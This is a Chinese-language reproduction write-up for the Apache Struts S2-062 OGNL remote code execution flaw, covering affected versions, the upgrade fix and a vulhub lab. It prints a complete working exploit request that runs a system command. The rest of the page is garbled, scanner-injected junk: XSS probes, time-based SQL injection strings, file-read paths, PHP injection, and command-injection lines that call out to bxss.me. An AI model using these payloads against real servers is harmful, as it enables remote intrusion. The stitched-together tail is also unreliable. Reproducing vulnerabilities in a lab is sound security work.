1.漏洞简介
针对 CVE-2020-17530 发布的修复不完整。因此,从 Apache Struts 2.0.0 到 2.5.29,如果开发人员通过使用 %{…} 语法应用强制 OGNL 评估,仍然有一些标签的属性可以执行双重评估。对不受信任的用户输入使用强制 OGNL 评估可能会导致远程代码执行漏洞。
2.漏洞影响版本范围
2.0.0 ≤ Apache Struts ≤2.5.29
Struts ≥ 2.5.30的版本不受影响
3.漏洞修复方法
目前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本,下载链接:
https://struts.apache.org/download.cgi#struts-ga
5.漏洞环境搭建(docker环境)
使用vulhub/struts2/s2-061/
版本:struts2.5.25
GitHub链接:
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
6.S2-062漏洞复现
POST /index.action HTTP/1.1
Host: 192.168.188.128:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1095
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
1
<%={{={@{#{${dfb}}%>
1
1
19299768
1
'"()&%<zzz><ScRiPt >N0u1(9793)</ScRiPt>
1
1'"()&%<zzz><ScRiPt >N0u1(9996)</ScRiPt>
1
1
![]()
'"()&%<zzz><ScRiPt >WhrM(9627)</ScRiPt>
1
19628513
'"()&%<zzz><ScRiPt >9FQ4(9619)</ScRiPt>
1
1'"()&%<zzz><ScRiPt >9FQ4(9138)</ScRiPt>
1'"()&%<zzz><ScRiPt >kI3k(9734)</ScRiPt>
1
1
19915011
'"()&%<zzz><ScRiPt >ARC5(9053)</ScRiPt>
1'"()&%<zzz><ScRiPt >ARC5(9046)</ScRiPt>
1
1
'"()&%<zzz><ScRiPt >y0Eo(9172)</ScRiPt>
1'"()&%<zzz><ScRiPt >y0Eo(9990)</ScRiPt>
1<aCYMl1K<
1<img sRc='http://attacker-9200/log.php?
1<aEgKemz x=9517>
1
1
bfgx1161%C0%BEz1%C0%BCz2a%90bcxhjl1161
1
19411919
1
'"()&%<zzz><ScRiPt >rGSW(9340)</ScRiPt>
1'"()&%<zzz><ScRiPt >rGSW(9310)</ScRiPt>
1
![]()
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-1)) OR 196=(SELECT 196 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-1" OR 2+96-96-1=0+0+0+1 --
-1 OR 2+422-422-1=0+0+0+1 --
1
1
1
1
1
19787320
1
vsVGYbT6
1
1
1
1
1
1
1
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-1' OR 2+954-954-1=0+0+0+1 or 'LWJpjbmO'='
c:/windows/win.ini
${@print(md5(31337))}\
Http://bxss.me/t/fit.txt
";print(md5(31337));$a="
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
'+'A'.concat(70-3).concat(22*4).concat(110).concat(83).concat(101).concat(77)+(require'socket'
Socket.gethostbyname('hitte'+'xnxpnatmca9d5.bxss.me.')[3].to_s)+'
1
1
1
1biPXcmVO
1
1
1
1
1
1
1
1
1
![]()
1
![]()
1
![]()
-1' OR 2+220-220-1=0+0+0+1 or 'iWPif8Yc'='
-1' OR 3*2<(0+5+243-243) --
-1' OR 2+243-243-1=0+0+0+1 --
-1 OR 3*2>(0+5+442-442)
-1 OR 2+442-442-1=0+0+0+1
-1 OR 3+354-354-1=0+0+0+1 --
-1 OR 2+354-354-1=0+0+0+1 --
1
1
/xfs.bxss.me
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
;(nslookup hitnbbebqzmfm0f8f6.bxss.me||perl -e "gethostbyname('hitnbbebqzmfm0f8f6.bxss.me')")|(nslookup hitnbbebqzmfm0f8f6.bxss.me||perl -e "gethostbyname('hitnbbebqzmfm0f8f6.bxss.me')")&(nslookup hitnbbebqzmfm0f8f6.bxss.me||perl -e "gethostbyname('hitnbbebqzmfm0f8f6.bxss.me')")
(nslookup hitanvxxufrnke10bb.bxss.me||perl -e "gethostbyname('hitanvxxufrnke10bb.bxss.me')")
1
|(nslookup hittdbxzjimds9cba3.bxss.me||perl -e "gethostbyname('hittdbxzjimds9cba3.bxss.me')")
1
![]()
1
![]()
1
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2<(0+5+836-836) --
-1" OR 2+836-836-1=0+0+0+1 --
-1' OR 3*2>(0+5+510-510) or '9OsLfYcN'='
-1' OR 2+510-510-1=0+0+0+1 or '9OsLfYcN'='
-1 OR 3+709-709-1=0+0+0+1
-1 OR 2+709-709-1=0+0+0+1
1
![]()
bxss.me
";print(md5(31337));$a="
/etc/shells
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()
1
![]()